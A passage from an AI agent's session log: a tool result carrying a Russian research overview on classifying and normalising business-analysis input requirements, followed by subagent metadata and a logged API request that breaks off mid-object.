\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 | \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0430\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/40-practice-and-cases.md) | \u043a\u043e\u0440\u043f\u0443\u0441 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0430\u0437\u0431\u043e\u0440 \u00ab\u0447\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e / \u0447\u0442\u043e \u043d\u0435\u0442\u00bb | \u0442\u0435\u043c, \u043a\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u044b |\\n| [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/50-open-research.md) | \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0440\u0430\u043d\u0436\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437, \u0432\u0445\u043e\u0434 \u0434\u043b\u044f RFC, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, \u0441\u0430\u043c\u043e\u0430\u0443\u0434\u0438\u0442 | \u0440\u0435\u0432\u044c\u044e\u0435\u0440\u0443 \u0438 \u0430\u0432\u0442\u043e\u0440\u0443 RFC |\\n\\n\u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b:\\n\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u00bb** \u2014 `10-theory.md` \u00a74;\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435\u00bb** \u2014 `20-taxonomy.md` \u00a71\u2013\u00a72;\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0440\u0435\u0448\u0438\u0442\u044c, \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u044d\u0442\u043e \u0438\u043b\u0438 \u043a\u0430\u0441\u0442\u043e\u043c\u00bb** \u2014 `30-decision-framework.md` \u00a73;\\n- **\u00ab\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b\u00bb** \u2014 `30-decision-framework.md` \u0446\u0435\u043b\u0438\u043a\u043e\u043c + \u00a76.\\n\\n## 1. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\\n\\n\u0412\u0445\u043e\u0434 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u0438 \u0438\u043c\u0435\u043d\u0438, \u043d\u0438 \u0442\u0438\u043f\u0430, \u043d\u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430. \u041d\u0430 \u0432\u0445\u043e\u0434 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442: \u0440\u0435\u043f\u043b\u0438\u043a\u0430 \u0432 \u0447\u0430\u0442\u0435, \u043f\u0438\u0441\u044c\u043c\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0442\u0438\u043a\u0435\u0442, \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0433\u043e\u0442\u043e\u0432\u043e\u0435 \u0422\u0417, \u00ab\u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u043a\u0430\u043a \u0443 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u0430\u00bb, \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u0430.\\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c\u00bb, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u043c \u0438 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0434\u0430\u044e\u0442\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430.\\n\\n\u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b:\\n\\n| # | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| --- | --- | --- |\\n| P1 | \u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0445\u043e\u0434\u0430, \u0437\u043d\u0430\u0447\u0438\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `task-`; \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e |\\n| P2 | \u041e\u0446\u0435\u043d\u043a\u0430 \u00ab\u0435\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u044f\u0432\u043d\u043e | \u00ab\u043f\u043e\u043a\u0440\u044b\u0442*\u00bb \u2014 41 \u043f\u0440\u043e\u0433\u043e\u043d, `discoverab*` \u2014 0 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| P3 | \u0420\u0435\u0432\u044c\u044e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0432\u044b\u043c\u044b\u0441\u0435\u043b | `hallucinations_shipped > 0` \u0432 9 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 |\\n| P4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0438\u043b\u0438 \u043a\u0430\u0441\u0442\u043e\u043c\u00bb \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 | \u00ab\u043a\u0430\u0441\u0442\u043e\u043c\u00bb \u2014 10 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0432 \u043d\u0438\u0445 \u043d\u0435 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b |\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043c\u0435\u0440\u0430 \u2014\\n[`2026-08-25-mango-runs-empirical-snapshot.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md).\\n\\n## 2. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n**\u0412\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b:**\\n\\n- \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0435\u0451 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435;\\n- \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 IT / B2B SaaS), \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043e\u043c;\\n- Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f (\u0442\u0435\u043b\u0435\u043a\u043e\u043c + \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 +\\n  \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 `runs/`);\\n- \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438;\\n- \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430\u043c \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f;\\n- \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0435\u0441\u0442\u0440;\\n- \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f;\\n- \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430.\\n\\n**\u041d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b:**\\n\\n- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b (\u0441\u043c.\\n  [`docs/taxonomy.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/taxonomy.md));\\n- \u0432\u044b\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0442\u0440\u0435\u043a\u0435\u0440\u043e\u0432 \u0438 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449;\\n- \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0435 acceptance-\u043f\u043e\u0440\u043e\u0433\u0438 \u0434\u043b\u044f \u043c\u0435\u0442\u0440\u0438\u043a \u2014 \u0438\u0445 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e\\n  \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430;\\n- \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0430\u043c\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043c\u043e\u0434\u0443\u043b\u044c \u0434\u0430\u0451\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043d\u0438\u043c, \u043d\u043e \u043d\u0435\\n  \u0438\u0445 \u0442\u0435\u043a\u0441\u0442.\\n\\n**\u0421\u0442\u0440\u043e\u0433\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439.** \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0438 Mango-\u0447\u0430\u0441\u0442\u044c \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430. \u041a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043e\u0431\u043b\u0430\u0441\u0442\u044c\u044e: `[U]` \u2014\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435, `[M]` \u2014 Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435, `[H]` \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430.\\n\\n## 3. \u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n| # | \u0412\u043e\u043f\u0440\u043e\u0441 | \u0413\u0434\u0435 \u043e\u0442\u0432\u0435\u0442 |\\n| --- | --- | --- |\\n| RQ-1 | \u041a\u0430\u043a \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432? | `10-theory.md` \u00a74 |\\n| RQ-2 | \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438 \u0433\u0434\u0435 \u0435\u0451 \u0433\u0440\u0430\u043d\u0438\u0446\u044b? | `10-theory.md` \u00a71\u2013\u00a72 |\\n| RQ-3 | \u041a\u0430\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u043f\u043e \u043a\u0430\u043a\u0438\u043c \u043e\u0441\u044f\u043c \u043e\u043d\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f? | `20-taxonomy.md` \u00a71\u2013\u00a72 |\\n| RQ-4 | \u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430\u043c? | `20-taxonomy.md` \u00a73 |\\n| RQ-5 | \u041f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u043a \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u0430\u043c BA? | `20-taxonomy.md` \u00a74, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 H6 |\\n| RQ-6 | \u041a\u0430\u043a\u0438\u0435 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u043e \u0432\u0445\u043e\u0434\u043e\u043c? | `20-taxonomy.md` \u00a75 |\\n| RQ-7 | \u041a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u043e\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0441 Mango? | `30-decision-framework.md` \u00a71 |\\n| RQ-8 | \u041a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0446\u0438\u043a\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043a\u0430\u043a\u0438\u0435 \u0432 \u043d\u0451\u043c \u0433\u0435\u0439\u0442\u044b? | `30-decision-framework.md` \u00a72 |\\n| RQ-9 | \u041a\u0430\u043a \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442 / \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u043a\u0430\u0441\u0442\u043e\u043c\u00bb? | `30-decision-framework.md` \u00a73 |\\n| RQ-10 | \u041a\u0430\u043a\u043e\u0432\u044b \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0442\u0440\u0451\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438? | `30-decision-framework.md` \u00a74 |\\n| RQ-11 | \u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043c \u043e\u043d \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442? | `30-decision-framework.md` \u00a75 |\\n| RQ-12 | \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u0430\u0451\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b? | `30-decision-framework.md` \u00a76 |\\n| RQ-13 | \u041a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430? | `40-practice-and-cases.md` \u00a73 |\\n| RQ-14 | \u041a\u0430\u043a \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0438 \u043a\u0442\u043e \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442? | `30-decision-framework.md` \u00a77 |\\n\\n## 4. \u041c\u0435\u0442\u043e\u0434\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432, \u0447\u0442\u043e\u0431\u044b \u043d\u0438 \u043e\u0434\u0438\u043d \u0432\u044b\u0432\u043e\u0434 \u043d\u0435 \u043e\u043f\u0438\u0440\u0430\u043b\u0441\u044f\\n\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445:\\n\\n1. **\u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b** \u2014 BABOK Guide v3, IREB CPRE, ISO/IEC/IEEE\\n   29148:2018, ISO/IEC 25010, ITIL 4, PMBOK, SAFe, \u0413\u041e\u0421\u0422 34.602-2020, TM Forum\\n   SID/eTOM. \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441 URL \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 50-open-research.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/50-open-research.md#1-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438).\\n2. **\u0414\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f Mango** \u2014 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, 30 \u0442\u0438\u043f\u043e\u0432\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 8 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u04211\u2013\u04218.\\n3. **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/`** \u2014 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:57.223Z] [INFO]       }\n[2026-09-29T07:45:57.223Z] [INFO]     ]\n[2026-09-29T07:45:57.223Z] [INFO]   },\n[2026-09-29T07:45:57.223Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"uuid\": \"acc3e9aa-1f17-4ede-8cd0-14eed80401a3\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:57.207Z\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:57.223Z] [INFO] }\n[2026-09-29T07:45:57.302Z] [STDOUT] [log_be45db] sending request {\n[2026-09-29T07:45:57.309Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:57.316Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.320Z] [STDOUT]   options: {\n[2026-09-29T07:45:57.322Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:57.324Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:57.328Z] [STDOUT]     body: {\n[2026-09-29T07:45:57.331Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:57.334Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:57.345Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:57.349Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:57.361Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:57.366Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:57.380Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:57.383Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:57.386Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:57.389Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:57.392Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:57.396Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:57.399Z] [STDOUT]     },\n[2026-09-29T07:45:57.402Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:57.404Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:57.406Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:57.408Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:57.411Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:57.413Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:57.417Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:57.420Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:57.423Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:57.426Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:57.428Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:57.432Z] [STDOUT]     },\n[2026-09-29T07:45:57.434Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:57.437Z] [STDOUT]   